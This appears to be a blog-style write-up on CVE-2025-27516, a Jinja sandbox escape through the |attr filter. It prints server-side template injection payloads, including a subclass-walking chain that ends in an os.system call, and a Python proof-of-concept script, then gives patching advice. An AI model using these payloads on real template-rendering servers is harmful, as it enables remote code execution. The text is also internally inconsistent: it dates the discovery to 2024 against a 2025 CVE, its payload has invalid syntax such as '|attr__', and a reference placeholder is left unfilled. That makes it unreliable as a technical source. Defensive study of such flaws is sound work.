CVE-2025-27516 - Jinja ‘attr’ Filter Bypass Leads to Remote Code Execution

Jinja is one of the most popular template engines in the Python ecosystem. It's foundational to Flask, Ansible, SaltStack, and many custom web applications. Jinja offers a sandbox mode that’s supposed to restrict what templates can do, reducing the risk of template injection attacks. But in early 2024, a dangerous vulnerability was uncovered and assigned CVE-2025-27516.

Here, we’ll break down how this vulnerability works, what’s at risk, see proof-of-concept code, and how to protect your apps today.

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What is CVE-2025-27516?

CVE-2025-27516 is a Remote Code Execution (RCE) bug impacting Jinja, affecting all versions before 3.1.6. The vulnerability lies in the way Jinja’s sandbox interacts with the |attr filter. An attacker who controls a template can abuse this filter to bypass the sandbox and run arbitrary Python code on the server.

Why is This Serious?

- If you allow user-submitted templates (like in some CMS, dashboards, or workflow tools), an attacker could use this bug to run code on your server.

The bug sidesteps all existing sandbox protections.

- Chaining this with other bugs or weak configs, a skilled attacker might read files, steal secrets, or even take over your infrastructure.

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How Does the Attack Work?

The root issue is that, prior to version 3.1.6, the Jinja sandbox did not correctly monitor access granted by the |attr filter.

Jinja’s Sandbox and |attr

Jinja’s sandbox watches dangerous operations, like __import__, os.system, or str.format. Normally, these are blocked when rendering untrusted templates:

# This should be harmless in the sandbox
{{ '{}'.format('Oops!') }}

But the |attr filter lets you dynamically look up an attribute — even potentially dangerous ones — and Jinja's sandbox missed restricting that correctly.

Suppose an attacker can inject this into a template

{{ '{}'
    |attr('format')
    ('Hacked!')
}}

Here, |attr('format') fetches the standard string format method, which is not sandboxed the way template variables are. Now the attacker can do even worse:

{{ ''.__class__
      |attr('__mro__')
      |attr('__getitem__')(1)
      |attr('__subclasses__')()
      |attr('__getitem__')(100)  # Offset to locate subprocess.Popen or similar
      |attr('__init__')
      |attr('__globals__')
      |attr__('os')
      |attr__('system')
      ('id > /tmp/hacked.txt')
}}

This chain walks through Python internals to ultimately execute os.system('id > /tmp/hacked.txt'), writing attacker's choosing output to disk.

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Here’s a minimal example you can run in a controlled environment (do NOT use in production)

from jinja2.sandbox import SandboxedEnvironment

# Insecure Jinja version < 3.1.6
env = SandboxedEnvironment()

template_string = "{{ '{}'.__class__ |attr('__mro__') |attr('__getitem__')(1) |attr('__subclasses__')() }}"
template = env.from_string(template_string)
print(template.render())

With a little trial and error, you can index into __subclasses__() to find dangerous classes like subprocess.Popen or _io.FileIO.

In the Wild

Any app rendering user-supplied templates (think: notebook servers, web playgrounds, workflow UIs) is at risk unless they limit which templates are allowed or have already patched Jinja.

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Jinja 3.1.6 is patched. The simplest fix is to upgrade ASAP

pip install --upgrade "jinja2>=3.1.6"

This version ensures that |attr is restricted and cannot break out of the sandbox.

If you *must* accept user templates, strictly validate and cleanup template content.

- Consider running untrusted templates in isolated or restricted runtime environments (e.g., containers with no network/file system access).

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Official References

- CVE Record at NIST
- Jinja2 GitHub Security Advisory *(adjust when advisory is public)*
- Pull request fixing the bug
- Release notes for Jinja 3.1.6

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Stay safe and patch early!

If you enjoyed or learned from this write-up, consider sharing it to raise awareness for other Python developers. 👨‍💻🛡️

Timeline

Published on: 03/05/2025 21:15:20 UTC
Last modified on: 05/01/2025 01:15:53 UTC